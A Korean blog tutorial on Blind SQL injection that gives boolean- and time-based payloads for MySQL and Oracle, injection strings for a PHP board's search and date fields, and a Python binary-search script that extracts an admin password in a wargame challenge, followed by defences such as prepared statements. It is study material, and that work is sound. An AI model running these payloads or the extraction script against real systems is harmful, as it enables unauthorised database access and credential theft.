본문 바로가기
Web hacking/개념 정리 & 심화

[WEB]Blind SQL Injection 사용 간단 실습 & 정리

by m_.9m 2022. 5. 30.

 

사용자의 입력 값에 대한 검증이 미흡하여 발생하는 취약점으로 SQL문을 삽입해 동작 시킴으로써 인증을 우회하거나 데이터 베이스에 있는 중요한 정보들을 직접적으로 추출할 수 있다. 보통 개인정보나 파일 등의 민감한 데이터들이 보관되어있기 때문에 위험도가 높은 취약점으로 분류된다.

□ SQL injection의 분류로는 Union SQL Injection, Error based SQL Injection, Blind SQL Injection으로 크게 세가지로 나뉜다. SQL문의 결과가 화면에 안 나오는 경우는 로그인 페이지, 아이디 중복 체크 등이 있고 이 경우 Blind SQL Injection를 사용한다. SQL문의 결과가 화면에 나오는 경우는 검색, 게시 글 리스트, 게시 글 확인 기능으로 Union SQLIBlind SQLI를 사용할 수 있다.

이 중 Blind SQL Injection은 응답 값의 차이로 ’, ‘거짓이 구분되면 함수를 사용하여 데이터를 하나씩 추출할 수 있는 injection입니다. 보통 ‘ “, and, case when, substr 등 연산자를 사용한다.

□ SQL 주입은 일반적으로 WHERE에서 발생할 수 있으며, 흔하게 발생하는 다른 위치로는 UPDATE update, INSERT insert, SELECT 안의 테이블 혹은 컬럼 이름, ORDER BY 컬럼 등이 있다.

 SHAPE  \* MERGEFORMAT

SELECT 구조: SELECT [컬럼 이름] FROM 테이블 이름
WHERE ('
조건 절')

1) 응답 값에 따라 참과 거짓이 달라지는 경우

rep값에따라 참과 거짓을 구분할 수 있는 경우가 해당된다. 보통 응답 값의 길이가 달라지거나, 출력 화면이 다른 경우(참일 경우 정상 출력, 거짓일 경우 공백)가 일반적으로 사용되는 함수는 substr, length, 이 일반적이다.

□ length

일반적으로 데이터의 길이를 구하는 함수로, length(user)={} 의 형식으로 데이터의 길이를 구해 문자열을 0~{}값까지 잘라 구할 수 있다.

□ SUBSTR, SUBSTRING

문자열을 한 글자씩 추출해서 구하는 형식으로 Ascii값을 통해 문자를 숫자로 표현, 대소 비교를 해서 해당 값을 알 수 있다. Ascii값은 숫자 1-127내에 존재하고 한글 값의 경우 50000대에 존재하기 때문에 보통 Blind SQLI를 수행하는 경우 Python 자동화 코드를 사용하게 되는 계기가 된다. 또한 이진, 순차 탐색 등의 기법을 사용하지 않으면 서버에 무리가 올 수 있기 때문에 코드 구현이 필요하기도 하다.

Oracle > Substr(1,N): 1번 인덱스부터 N개의 문자열을 추출

MySQL > Substring(1,N): 1번 인덱스부터 N번째 인덱스까지 추출

해당 문자열이 필터링 될 시 ascii(substr (pw, {}, 1)) >> ord(mid(pw, {}, 1)) 등으로 우회 함수가 존재한다.

 

2) 시간 지연을 유발하여 블라인드 SQL injection 악용

Time based SQLIHeavy Query를 이용하여 쿼리 반환 시간 차이를 이용해 공격할 수 있는 기법이다. 의도적으로 sleep, waitfor, benchmark 등의 함수를 이용해서 의도한 경우에 시간이 지연되게 하는 것이다.

MySQL > Sleep(2): 참일 경우 2초 동안 지연

MySQL > Benchmark(2000,MD5(‘rootable’)): MD5(‘rootable’)2000번 실행

> select * from member where if(substr(pw,1,1)='t', benchmark(1000000,md5('t')),1);

Empty set (0.136 sec)

거짓 > select * from member where if(substr(pw,1,1)='a', benchmark(1000000,md5('t')),1);

2 rows in set (0.000 sec)

 

MySQL > select count(*) FROM information_schema.columns A, information_schema.columns B;

Heavy 쿼리를 통해 지연을 발생시킨다.

> select * from member where if(substr(pw,1,1)='t',(select count(*) FROM information_schema.columns A, information_schema.columns B),1);

거짓 > select * from member where if(substr(pw,1,1)='a',(select count(*) FROM information_schema.columns A, information_schema.columns B),1);

 

Oracle > SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1)); 아래에서 실습해보겠다.

날짜 검색 기능

$sql4 = "SELECT * FROM board where $catgo like '%$param%' and date between '".$start_date."' and '".$end_date."'"

 

//날짜 기능 뒤에 바로 삽입

start_date =20190404& end_date =20190509+and+ascii(substring(pw, 1, 1)) > 1

 

□ like문 우회

//검색 기능

test1' and+ascii(substring(pw, 1, 1)) > 1

2. DB 별 문법

1) 기본 사용 예제

□ SELECT 문 사용 예제(PHP 개발 사이트 사용 구문)

// 로그인 SQL(식별, 인증 동시 한 줄 간단 구현) select

$sql1= "SELECT * FROM member WHERE id = '".$_POST['id']."' and pw = '".$_POST['pw']."'";

 

           // id 중복 체크 select

$sql2= "SELECT * from member where id=$uid";

 

           //댓글 불러오기 select

$sql3 = SELECT * from board where idx='".$bno."'";

          

           //검색 기능 + select between

$sql4 = "SELECT * FROM board where $catgo like '%$param%' and date between '".$start_date."' and '".$end_date."'"

□ INSERT 문 사용 예제

// 글 작성 insert

$sql= "INSERT INTO iboard(name,pw,pnumber,title,content,date, lo_post, file) VALUES($name, $encrypted_pw ,$number, $title, $content, $date, $lo_post, $o_name)";

 

           // 댓글 작성 insert

 $sql2 = mq("INSERT into ireply(con_num,content) values('".$bno."','".$content."')");

□ UPDATE 문 사용 예제

           // 글 수정 update

$sql1 = "UPDATE board set title=$title,content= $content where idx='".$bno."'";

 

           // 개인 정보 수정 update

$sql2 = "UPDATE member set Id=$id, pw=$encrypted_pw, name=$name, adress=$adress, gender=$gender, email=$email where id='".$_SESSION['user_id']."'";

 

□ DELETE 문 사용 예제

//게시 글 삭제 delete

$sql = mq("delete from board where idx='$bno';");

 

부울 기반, 조건부 구문

(Oracle chapter에서 실습)

MySQL >

CASE: SELECT CASE WHEN 1=1 THEN true ELSE false END;

IF(): SELECT IF(1=1, true, false);

IFNULL(): SELECT IFNULL (price, 0) from goods //PriceNULL이 아니면 0 반환

NULLIF(): SELECT NULLIF(price, 0) from goods;

IN(): SELECT price IN(1000, 2000, 3000) from goods;

1/0: SELECT 1/0 FROM dual (SELECT username FROM all_users WHERE username=’admin’) = “admin’

 

데이터 베이스 구조 함수

 

부울 기반, 문자열 잘라서 구하기

ID, PW를 동시에 구하는 경우 다음과 같은 예시가 있다.

참일 경우 Hello admin이라는 구문이 출력되고 거짓일 경우 출력되지 않는 LOS(los.rubiya) 문제 중 하나이다.

해당 문제를 풀기 위해 직접 구현한 파이썬 자동화 코드는 다음과 같다.

import requests

 

url = https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php

//URL값 입력

cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}

//쿠키 값 입력

 

def find_length(): //길이를 구할 함수를 선언

    pwlength = 1

 

    while True:

        param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}

        req = requests.get(url, params=param, cookies=cookie)

        if "Hello admin" in req.text:

            return pwlength

        else:

            pwlength += 1 //참이 나올 때까지 1부터 N까지 숫자를 +=한다.

 

def find_pw(): //비밀번호를 구할 함수 선언

    length = find_length()

    password = ""

    for i in range(length):

        s= 1

        e= 127

        value = 64

        while True:

            param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} # ".format(i+1, value)} //[]번째 자리 수 하나의 값을 ascii코드로 구함. I 1부터 ++, 초기 value64.

            print(param)

            req=requests.get(url,params=param,cookies=cookie)

            if "Hello admin" in req.text:

                password += chr(value)

                break // ‘=’hello admin 참일 시 다음 자릿수로 넘어감

            else:

                param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} # ".format(i+1, value)} //아닐 시 대소 비교를 통해 =값을 계속 구함. 현재는 {}값이 >로 구현. 참일 시가 ++.

                req = requests.get(url, params=param, cookies=cookie)

                if "Hello admin" in req.text:

                    s=value

                    value = (value+e) //2  //참이면 값의 1/2만큼 더 늘어남

                else:

                    e=value

                    value = (s+value) //2  //거짓이면 값의 1/2만큼 더 줄어듦.

 

    print("비밀번호는: ", password)

 

find_pw()

 

 

코드를 보면 길이를 구한 후,

{} 파라미터안에 1부터 n번째까지 차례로 한글자씩 값을 추출한다.

if문이 참으로 나올 경우(해당 값의 비밀번호가 일치할 경우) 출력한 후 ++1 다음 차례로 넘어가고

거짓으로 나올 경우 대소 비교를 통해 이진 탐색을 계속 진행한다.

S=1

E=127

중간 값, value=64

 

TIME Based SQL Injection으로 풀어야하는LOS(los.rubiya) 문제로 실습해보겠다.

Order를 파라미터로 받고 있고, 컬럼 수가 3개이기 때문에 4이상의 값을 입력하면 오류가 난다.

order=if(id='admin' and length(email)>N,sleep(1),1) 을 주입해 실습해보겠다. if문이 참일 시 sleep()함수를 실행시키고 거짓일 시 1을 반환한다.

> order=if(id='admin' and length(email)>20,sleep(1),1)값일 때 이 함수는 참이 되어 1100 값을 나타내는 것을 볼 수 있다.

거짓> order=if(id='admin' and length(email)>30,sleep(1),1) 반면 30의 값에서는 이 함수가 거짓이 되어 100의 값을 나타낸다.

여기서 우리는 length(email)20~30에 머물러 있다는 것을 알 수 있게 되었고 범위를 좁힌 결과 order=if(id='admin' and length(email)>27,sleep(1),1)에서 값이 마지막으로 참이 되는 것을 알 수 있었다. 이메일이 28자리라는 정보를 습득했다.

 

4) 필터링 우회 법

Injection시 숫자가 전부 막혀 있거나 수학 함수가 필터링 되어있을 경우 show variables; 명령어로 확인할 수 있는 환경 변수를 활용할 수 있다.

 

필요한 문자나 숫자를 아래와 같이 뽑아낼 수 있다.

1) 기본 사용 예제

□ Oracle live SQL로 실습

//create table

create table member (

id varchar(20) primary key,

password varchar(20) not null,

passwordcheck varchar(20) not null,

name varchar(5) not null,

gender varchar(1), 

email varchar(20),

phone varchar(20) not null,

age int check (age>=19) );

//insert

insert into member (id, password, passwordcheck, name, gender, phone, age) values

   ('test','test','success','mjkim','f','01011111111', '20');

 

//UPDATE문 입력 후 수행

UPDATE member SET password='test2' Where id='test';

//DELECT문 입력 후 수행

delete from member

where id = 'test3';

 

□ Dual 테이블

오라클 자체에서 제공되는 가상의 테이블로 실제 테이블 없이 가상의 데이터를 생성할 수 있다. MySQL이나 MS-SQLSELECT문만 사용해서 쿼리를 실행할 수 있지만 오라클은 이 기능을 제공하지 않기 때문에 FROM절에 사용 가능한 DUMMY 테이블을 제공하고 있다.

활용 1 > dual이란 가상 테이블에 여러 개의 컬럼의 데이터를 만들 수 있다.

활용 2 > 기존 쿼리 결과에 데이터를 붙일 수 있다.

ROWNUM(순번)

데이터를 추출할 때 순번을 매겨서 추출하는데 Oracle에선 ROWNIM를 사용하여 가상의 열을 생성, 순번을 매긴다.    ORACLE > ROWNUM       

//RNUM이란 별칭을 통해 가상  만든다.
//ORDER BY 
절과 같은 위치에 두지  . ORDER BY로 데이터 정렬이 되기 전에 ROWNUM이 매겨진다.

MSSQL > SELECT TOP 숫자
SELECT TOP 1 FROM sysobjects WHERE [
조건식];
MySQL > Limit
SELECT column name FROM information_schema.columns WHERE [
조건식] limit = 0,1;

 

조건 문

 > Select CASE WHEN ('a'='b') THEN 1 ELSE 2 END FROM dual

거짓 >Select CASE WHEN ('a'='b') THEN 1 ELSE 2 END FROM dual

예시>  ASCII(SUBSTR(SELECT table_name FROM (SELECT ROWNUM AS RNUM, table_name FROM user_tables) WHERE RNUM=1),1,1)0) < 130

- order by
숫자를 처리하는 쿼리문 CASE WHEN 사용 가능.
- sorting 
등에서도 가능
- page=1
등으로 숫자로 페이징

파라미터가 있어 입력할  있으면 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual

 

데이터 베이스 구조 함수

> Select password from member where gender='f' and ascii(substr((select password from dual),1,1))>1

거짓 > Select password from member where gender='f' and ascii(substr((select password from dual),1,1))<1

 

오라클 데이터 베이스 엔진을 사용해 스키마에서 all_users를 조회하는 시간 지연을 발생시킨다. 이 경우 첫 번째 쿼리의 정보를 추출하게 된다. 아래 함수의 경우 따로 지연 시간을 정해줄 순 없다.

 

> SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

 

 

거짓 > SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 1 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

 


지연 시간을 정해줄 수 있는 대표적인 함수는 다음과 같다. dbms_pipe.receive_message(('a'),10)

**NVL=IFNULL


(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

4. 대응 방안

 3-1 SQL 주입 방지

1. 준비된 명령문 사용(매개 변수화 된 쿼리 포함)

 이는 개발자가 먼저 모든 SQL 코드를 정의한 후 나중에 각 매개변수를 쿼리에 전달하도록 하는 방법으로서 제공된 사용자의 입력에 관계없이 코드와 데이터를 구분 가능하다. 공격자가 아이디에 tom' or '1'='1를 입력하더라도 id= ‘ [tom' or '1'='1] ‘ 문자 그대로 전체 문자열과 일치하는 사용자 이름을 찾는다.

** Order by 정렬 기능은 적용될 수 없음

  SHAPE  \* MERGEFORMAT

  • Java EE  PreparedStatement() 바인드 변수와 함께 사용
  • .NET - 사용과 같은 쿼리를 매개 변수화 SqlCommand()또는 OleDbCommand() 바인드 변수
  • PHP – 강력한 형식의 매개변수화 된 쿼리와 함께 PDO 사용(bindParam() 사용)
  • Hibernate - createQuery() 바인드 변수와 함께 사용 (Hibernate에서는 명명된 매개변수라고 함)
  • SQLite – 명령문 개체sqlite3_prepare()를 만드는 데 사용

PHP 예시 login_ok.php 부분

$stmt = $db->stmt_init();

  $password=$_POST['pw'];

 

  $sql= "SELECT * FROM member WHERE id = ?";

  $stmt = $db->prepare($sql);

  $stmt->bind_param('s', $_POST['id']);

  $stmt-> execute();

  $member = $stmt->get_result();

  $row = $member->fetch_assoc();

 

  if(password_verify($password, $row['pw']))

  {

 

2. 허용 목록 입력 유효성 검사 

□ 입력 유효성 검사는 매개 변수를 사용하는 경우에도 모든 경우에 2차 방어 수단으로 권장된다. 매개변수 값을 예상 테이블 또는 열 이름에 매핑하여 검증되지 않은 사용자 입력을 제한한다. 유효성 검사의 방법으로는 두가지가 있다.

1) 블랙 리스트 방식

 SQL 쿼리의 구조를 변경시키는 문자나 키워드 , 특수문자 제한한다. 공격에 중점으로 사용되는 UNION, GROUP BY, COUNT(), ; , -- 등의 특수문자들을 블랙리스트로 정의하고 해당 특수 문자들이 외부 입력 값 안에 들어오면 공백으로 치환하는 등의 방식이다.

2) 화이트 리스트 방식 

□ 허용된 문자를 제외하고는 허용하지 않는 방식으로 보안성이 더 뛰어난 방법. 정규 식 등을 이용해 화이트 리스트를 범주화/ 패턴화 시키는 편이 좋다

//if 문으로 아예 화이트리스트 기반 필터링

if($catgo = "title" or "name" or "content")

 

 

3. 모든 사용자 제공 입력 이스케이프

□ 이스케이프(escape) 시퀀스는 이스케이프 문자 백슬래시(/) 다음에 영 숫자 또는 특수 문자가 올 수 있는 문자로 시작된다. 영 숫자 문자인 경우 줄 바꿈 \n , 캐리지 리턴 \r등을 나타내는 특별한 의미를 부여한다.

 SHAPE  \* MERGEFORMAT

  • \' – 작은 따옴표로 묶인 문자열 내에서 ' 이스케이프 합니다.
  • \" - 큰따옴표로 묶인 문자열 내에서 " 이스케이프 합니다.
  • \\ – 백슬래시를 이스케이프 합니다.
  • \$ $를 이스케이프 합니다.
  • \n – 문자열 사이에 줄 바꿈을 추가합니다.
  • \t – 탭 공간을 추가합니다.
  • \r – 캐리지 리턴용. 커서를 행의 앞으로 이동한다.

□ 이 기술은 위의 어느 것도 실현 가능하지 않을 때 사용된다. 쿼리에 입력하기 전의 사용자 입력을 이스케이프 하는 것으로 DBMS는 해당 입력을 개발자가 작성한 SQL 코드와 혼동하지 않으므로 가능한 SQL 주입 취약점을 피할 수 있다.

 

 

 

5. 참조 사이트

 

https://portswigger.net/web-security/sql-injection/cheat-sheet - Portswigger

https://qkqhxla1.tistory.com/27?category=557086 mysql 실습 블로그 참고

https://defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/